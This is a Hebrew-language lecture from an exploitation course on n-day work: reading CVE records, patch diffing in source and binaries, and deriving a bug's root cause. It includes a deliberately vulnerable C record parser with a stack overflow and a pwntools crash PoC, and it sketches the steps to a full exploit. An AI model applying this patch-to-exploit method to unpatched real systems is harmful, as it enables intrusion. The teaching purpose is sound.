10.4 ניתוח CVE ו n day הרצאה
בשלושת השיעורים הקודמים מצאנו חולשות בעצמנו: קראנו קוד מקור בשיעור 10.1, ורתמנו fuzzers כמו AFL ו-libFuzzer בשיעורים 10.2 ו-10.3. עכשיו נלמד גישה אחרת לגמרי, שבה מישהו כבר מצא את החולשה בשבילנו, פרסם עליה CVE והוציא טלאי (patch), והאתגר שלנו הוא הפוך: לקחת את התיקון הציבורי ולשחזר ממנו את הבאג, עד כדי exploit עובד. זה הלב של עבודת n-day, והמיומנות הכי מבוקשת בצוותי red team ובמחקר פוגעני מעשי.
מי שעבר את קורס ליבת-המחשב כבר יודע לקרוא אסמבלי, להשוות בין גרסאות של בינארי ולעבוד עם GDB. כאן נחבר את זה לעולם ה-CVE: נלמד לקרוא רשומת חולשה ואת ה-advisory שלה, לאתר את הבאג האמיתי דרך השוואת טלאים (patch diffing), להבין את שורש הבעיה, ולהפוך אותו קודם לקריסה ואז לexploit.
מה זה n-day ולמה זה מעניין¶
נתחיל בטרמינולוגיה, כי היא נזרקת הרבה ולא תמיד מדויק:
- המונח 0-day מתאר חולשה שאין לה עדיין טלאי ציבורי. גם היצרן לא יודע עליה, או שהוא יודע אבל טרם תיקן.
- המונח 1-day מתאר חולשה שהרגע יצא לה טלאי. הטלאי פומבי, אבל רוב המערכות בשטח עדיין לא עודכנו, וזה חלון זמן קצר וקריטי.
- המונח n-day מתאר את אותו מצב, רק שעברו כבר ימים או שבועות מאז הטלאי. המערכת עדיין vulnerable כל עוד לא עודכנה.
הפער בין רגע יציאת הטלאי לרגע שבו כולם מתקינים אותו נקרא פער הטלאי - patch gap, והוא הזהב של תוקף n-day. ברגע שיצא טלאי, התיקון עצמו הוא מפת דרכים אל הבאג: הוא מספר לנו בדיוק מה היה שבור. מכאן, בניית exploit לגרסה הלא מתוקנת היא לרוב עניין של שעות, לא של חודשים כמו מציאת 0-day.
זה גם השימוש הלגיטימי: בבדיקת חדירות ובתרגילי red team, כמעט תמיד תיתקלו במערכות שלא עודכנו. יכולת לקחת CVE טרי, לנתח את הטלאי ולכתוב לו exploit היא בדיוק מה שמפריד בין מי שמריץ סקריפטים מוכנים לבין חוקר אמיתי.
קריאת רשומת CVE¶
מזהה CVE נראה כך: CVE-2023-4863. השנה, ואז מספר סידורי. סביב המזהה הזה יש כמה מקורות מידע שכדאי להכיר:
- האתר NVD בכתובת
nvd.nist.govהוא הרשומה הרשמית של NIST. מכיל תיאור, ציון CVSS, סוג החולשה (CWE) ורשימת קישורים (References). - האתר MITRE בכתובת
cve.orgמחזיק את הרשומה המקורית, לרוב תמציתית יותר. - הרשומה GHSA - GitHub Security Advisory נוצרת כשהפרויקט מתארח ב-GitHub, ולעיתים קרובות כוללת קישור ישיר ל-commit שתיקן.
- ה-advisory של היצרן הוא הודעת האבטחה הרשמית של הפרויקט. פה נמצא לרוב את המידע הכי שימושי.
מה קוראים ברשומה, ובאיזה סדר:
- הרכיב והגרסאות המושפעות - "affected versions". זה אומר לנו איזו גרסה להוריד כדי לשחזר את הבאג, ואיזו גרסה כבר מתוקנת.
- סוג החולשה - CWE. למשל
CWE-787(Out-of-bounds Write),CWE-416(Use After Free),CWE-190(Integer Overflow). ה-CWE כבר מכוון אותנו לסוג הפרימיטיב שנקבל. - הקישורים - References. פה מסתתר הזהב: קישור ל-commit שתיקן, לבאג ב-tracker, או ל-advisory מפורט. הקישור לתיקון הוא כמעט תמיד הדבר היחיד שבאמת צריך.
שימו לב לניואנס: ה-CVSS והתיאור המילולי טובים לתעדוף, אבל הם לא אומרים לנו איפה הבאג בקוד. את זה נמצא רק בטלאי עצמו. אז ברגע שאיתרנו את ה-commit או את הגרסה המתוקנת, אנחנו עוברים משלב הקריאה לשלב ההשוואה.
איתור הבאג דרך השוואת טלאים - patch diffing¶
הרעיון המרכזי של כל השיעור פשוט: הבאג נמצא בדיוק במקום שהטלאי נגע בו. טלאי אבטחה טוב הוא ממוקד. הוא לא משכתב חצי פרויקט, הוא משנה כמה שורות שמתקנות בעיה אחת. אם נמצא את השורות ששונו, מצאנו את הבאג.
יש שתי דרכים להשוות, לפי מה שיש לנו ביד:
+------------------------------------------------------+
| Do we have source code (open source)? |
| yes --> source diff |
| no --> binary diffing |
+------------------------------------------------------+
נעבור על שתיהן.
השוואת קוד מקור - source diff¶
זה המקרה הנוח. הפרויקט פתוח, יש לנו את ה-commit שתיקן, ואנחנו פשוט קוראים את ה-diff.
אם ה-advisory נתן לנו hash של commit:
אם קיבלנו רק שתי גרסאות (הvulnerable והמתוקנת), משווים ביניהן ישירות:
או, כשאין git ורק שני tarballs:
עכשיו, מה מחפשים ב-diff של טלאי אבטחה? יש חתימות מובהקות שחוזרות שוב ושוב:
- הוספת בדיקת גבול - שורה חדשה בסגנון
if (len > sizeof(buf)) return -1;. אם היא חדשה, סימן שקודם לא הייתה, וזו כנראה overflow. - שינוי גודל ב-memcpy או ב-read - החלפת ארגומנט הגודל מ-
lenל-min(len, MAX). - שינוי טיפוס - החלפת
intל-unsigned intאו ל-size_t. זה כמעט תמיד מרמז על באג סימן (signedness) או overflow שלמים. - הוספת בדיקת NULL או בדיקה ש-
ptrעדיין תקף, שמרמזת על use-after-free או null deref. - איפוס מצביע אחרי free -
ptr = NULL;שנוסף מיד אחריfree(ptr). חתימה קלאסית של תיקון use-after-free או double-free. - בדיקת overflow בחישוב גודל -
if (a > SIZE_MAX / b)לפניmalloc(a * b). חתימה של integer overflow בהקצאה.
ברגע שזיהינו את השורה שנוספה, השאלה הופכת ל"מה קורה בלעדיה?", וזו בדיוק שאלת שורש הבעיה שנגיע אליה בהמשך.
השוואת בינאריים - binary diffing¶
הרבה פעמים אין קוד מקור: תוכנה סגורה, firmware, קומפוננטה של מערכת הפעלה. מה שיש לנו הוא שני בינאריים, הישן (הvulnerable) והחדש (המתוקן). המטרה זהה: למצוא איזו פונקציה השתנתה, כי שם מסתתר התיקון ולכן הבאג.
הבעיה: קומפילציה מחדש משנה כתובות, offsets ורגיסטרים גם בקוד שלא נגעו בו. השוואת בתים גולמית תיתן רעש. לכן משתמשים בכלים שמשווים מבנה (גרפים של פונקציות) ולא בתים:
- הכלי BinDiff של Google מייצא את שני הבינאריים (מ-IDA, Ghidra או Binary Ninja דרך
BinExport) ומשווה את גרפי הקריאה והבקרה. הוא מסמן אילו פונקציות זהות, אילו דומות, ואילו חדשות או שהשתנו. פונקציה עם דמיון גבוה אבל לא מלא היא בדיוק החשודה. - הכלי Diaphora הוא תוסף קוד פתוח ל-IDA שעושה דבר דומה, עם דגש על השוואה סמנטית.
- היכולת Version Tracking של Ghidra מובנית בכלי, מתאימה פונקציות בין שתי גרסאות של תוכנית ומסמנת הבדלים.
- הכלי radiff2 מחבילת radare2 מאפשר השוואה מהירה משורת הפקודה:
הדגל -A מריץ אנליזה, ו--C משווה קוד ברמת הפונקציות. הפלט מציג אילו פונקציות זהות (MATCH) ואילו השתנו (UNMATCH).
תהליך העבודה הטיפוסי:
+---------------------------------------------------------+
| 1. get the old binary and the new one |
| 2. run BinDiff / Diaphora / Ghidra VT |
| 3. focus on functions with high but not 100% similarity |
| 4. read the disassembly of both side by side |
| 5. identify the added check/change --> that's the bug |
+---------------------------------------------------------+
שימו לב: לרוב הפונקציה המעניינת היא זו שקיבלה בדיוק בלוק תנאי אחד חדש בכניסה, או קריאת בדיקה נוספת לפני memcpy. אותן חתימות מהחלק של source diff חוזרות, רק שעכשיו רואים אותן באסמבלי במקום ב-C.
מהטלאי לשורש הבעיה - root cause¶
מצאנו את השורה ששונתה. עכשיו צריך להבין למה היא מתקנת בעיה, כלומר לשחזר את שורש הבעיה. השאלה המנחה תמיד זהה: מה תוקף יכול לגרום לקרות אם השורה הזו לא הייתה קיימת?
בואו נעבוד על דוגמה קונקרטית. נניח שקראנו advisory שאומר: CWE-787 Out-of-bounds Write ב-parse_record, וה-diff שמצאנו הוא זה:
if (read_exact(fd, &name_len, sizeof(name_len)) < 0)
return -1;
+ if (name_len >= sizeof(name)) {
+ fprintf(stderr, "record name too long\n");
+ return -1;
+ }
+
if (read_exact(fd, name, name_len) < 0)
return -1;
name[name_len] = '\0';
קריאה של שורש הבעיה, צעד אחר צעד:
- השדה
name_lenנקרא מהקלט (מהתוקף) בתור מספר שלם חסר סימן. - הגרסה הvulnerable משתמשת ב-
name_lenישירות כגודל הקריאה אלname, בלי שום בדיקת גבול. - הטלאי מוסיף
if (name_len >= sizeof(name)) return -1;. כלומר, קודם אפשר היה לקרוא יותר בתים ממה ש-nameיכול להכיל.
מכאן מסיקים את הפרימיטיב: name הוא buffer מקומי על המחסנית, ותוקף ששולט ב-name_len יכול לכתוב מעבר לגבולו, ישר אל ה-rbp השמור ואל הreturn address. זו overflow buffer קלאסית על המחסנית, בדיוק כמו שלמדנו בפרק 2, רק שהפעם גילינו אותה מהטלאי במקום מ-fuzzing.
הנה הקוד המלא של הגרסה הvulnerable, כדי שנוכל להריץ ולנצל:
// notes 1.4.1 - record.c (the vulnerable version, before the patch)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
static int read_exact(int fd, void *buf, size_t n) {
size_t got = 0;
while (got < n) {
ssize_t r = read(fd, (char *)buf + got, n - got);
if (r <= 0) return -1;
got += r;
}
return 0;
}
int parse_record(int fd) {
char name[64];
unsigned int name_len;
if (read_exact(fd, &name_len, sizeof(name_len)) < 0)
return -1;
if (read_exact(fd, name, name_len) < 0) /* no bounds check on name_len */
return -1;
name[name_len] = '\0';
printf("record: %s\n", name);
return 0;
}
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
parse_record(0);
return 0;
}
מבנה המסגרת של parse_record, וכיוון הoverflow:
High addresses
+------------------------------+
| return address | <-- overwritten when reading more than 72 bytes
+------------------------------+
| saved rbp | <-- overwritten after 64 bytes
+------------------------------+
| char name[64] | <-- read_exact writes name_len bytes here
+------------------------------+
Low addresses
מקריסה ל-PoC ול-exploit¶
עכשיו הופכים את ההבנה להוכחת היתכנות - PoC. המטרה בשלב הזה צנועה בכוונה: לגרום לתוכנית לקרוס, ובכך להוכיח שאנחנו באמת נוגעים בבאג. קריסה נקייה (SIGSEGV, או stack smashing detected אם יש canary) היא האישור שהגענו לזיכרון שאסור לנו.
נהדר את הגרסה הvulnerable:
לפני כל דבר, בודקים הגנות:
פלט צפוי:
עכשיו ה-PoC. שדה האורך הוא unsigned int בגודל 4 בתים, אז נשלח אותו כ-p32, ואחריו יותר בתים ממה ש-name יכול להכיל:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./record')
p = process('./record')
name_len = 200 # far beyond 64
payload = p32(name_len) # the length field the attacker controls
payload += b'A' * name_len # 200 bytes into a buffer of 64 -> overflow
p.send(payload)
print(p.recvall(timeout=2))
הרצה:
$ python3 poc.py
[+] Starting local process './record': pid 20871
[*] Process './record' stopped with exit code -11 (SIGSEGV)
b'record: AAAAAAAAAAAAAAAA...AAAA\n'
הקוד exit code -11 הוא SIGSEGV. שימו לב: הפלט record: AAA... הודפס, כי printf רץ עוד לפני שהפונקציה חוזרת. הקריסה עצמה קורית ב-ret, כשהמעבד מנסה לקפוץ לכתובת מלאה ב-0x41 (התו A). הוכחנו שהבאג אמיתי וניתן להפעלה דרך הקלט. זה ה-n-day PoC.
מ-PoC ל-exploit ממשי, מכאן הכל כבר מוכר מהפרקים הקודמים:
- מוצאים את ה-offset המדויק לכתובת החזרה עם
cyclic(פרק 2.2). בדוגמה זו הוא64 + 8 = 72. - אם אין canary ואין PIE, דורסים את הreturn address ביעד רצוי - ret2win, ret2libc או chain ROP (פרקים 2 עד 6).
- אם יש canary או PIE, מחפשים leak מידע (למשל דרך אותו
printf("record: %s")שמדפיס את הbuffer), ורק אז דורסים.
שימו לב עד כמה זה חזק: לא הרצנו fuzzer, לא קראנו את כל בסיס הקוד. קראנו diff בן חמש שורות, והוא הוביל אותנו ישר אל פרימיטיב הoverflow.
מה עם ההגנות - checksec¶
חשוב להיות ישרים לגבי מה שקורה כשההגנות דלוקות, כי בגרסה שרצה בשטח הן כמעט תמיד יהיו:
| הגנה | ההשפעה על ה-n-day שלנו |
|---|---|
| קנרי - Stack Canary | הoverflow עדיין קורית, אבל התוכנית תזהה stack smashing detected ותבצע abort. עדיין קריסה, עדיין PoC תקף. לexploit צריך קודם לדלוף את הcanary |
| ללא הרצה - NX | לא מפריע ל-PoC. לexploit מונע shellcode על המחסנית, ולכן נשתמש ב-ROP או ret2libc |
| מיקום אקראי - PIE | הoverflow זהה, אבל כתובת היעד משתנה בכל הרצה. צריך leak כתובת כדי לנצל |
| כתובות אקראיות - ASLR | משפיע על כתובות libc והמחסנית. שוב, פותרים עם leak |
הנקודה: הטלאי חושף את הבאג בלי קשר להגנות. ההגנות משפיעות רק על כמה עבודה נוספת צריך כדי להפוך את הקריסה ל-shell, וזה בדיוק אותו הידע מכל שאר הקורס.
סיכום¶
- ניצול n-day הוא exploit של חולשה שכבר יש לה טלאי ציבורי, על מערכות שעדיין לא עודכנו. פער הטלאי (patch gap) הוא חלון ההזדמנות.
- רשומת CVE נותנת רכיב, גרסאות מושפעות, CWE וקישורים. הדבר הכי שימושי הוא הקישור ל-commit או לגרסה שתיקנה, כי הטלאי הוא מפת הדרכים אל הבאג.
- השיטה patch diffing היא הכלי המרכזי: כשיש מקור, משווים עם
git show/git diff/diff -ru. כשאין, משווים בינאריים עם BinDiff, Diaphora, Version Tracking של Ghidra אוradiff2 -A -C. - חתימות של טלאי אבטחה: בדיקת גבול חדשה, שינוי גודל ב-memcpy/read, החלפת טיפוס (signedness), בדיקת NULL, איפוס מצביע אחרי free, בדיקת overflow בחישוב גודל.
- שורש הבעיה מתקבל מהשאלה "מה קורה בלי השורה שנוספה?". בדוגמה, היעדר
if (name_len >= sizeof(name))נתן overflow buffer על המחסנית. - ה-PoC הראשון רק צריך לקרוס (SIGSEGV או stack smashing detected). ההפיכה ל-exploit מלא היא בדיוק הטכניקות מהפרקים הקודמים: offset עם cyclic, ואז ret2win / ROP / leak לפי מצב ההגנות.